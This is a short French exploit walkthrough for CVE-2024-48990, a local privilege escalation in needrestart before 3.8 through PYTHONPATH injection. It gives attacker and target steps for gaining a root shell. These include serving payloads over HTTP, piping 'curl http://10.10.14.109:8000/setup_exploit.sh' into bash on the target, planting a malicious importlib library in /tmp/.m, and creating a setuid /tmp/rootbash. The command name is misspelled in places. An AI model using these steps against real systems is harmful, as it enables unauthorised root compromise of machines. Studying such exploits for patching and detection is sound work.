
Exploit complet pour le shell root setuid de needsrestart
Élévation de privilèges locale dans needrestart < 3.8 via l'injection PYTHONPATH.
PYTHONPATH=/tmp/.m dans /proc/[pid]/environPYTHONPATH malveillant/tmp/.m/importlib/__init__.so (notre bibliothèque malveillante)/tmp/rootbash/tmp/rootbash -p pour un shell rootPoint clé : needrestart fait confiance aux variables d'environnement des processus non privilégiés et les utilise lors de l'exécution d'interpréteurs en tant que root.
Attaquant :
./compile.sh
python3 -m http.server 8000
Cible :
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
Le processus e.py devrait se bloquer et générer un shell root une fois la commande suivante exécutée depuis un deuxième terminal :
sudo needsrestard
le premier terminal démarrera un shell root
Qualys Threat Research Unit - CVE-2024-48990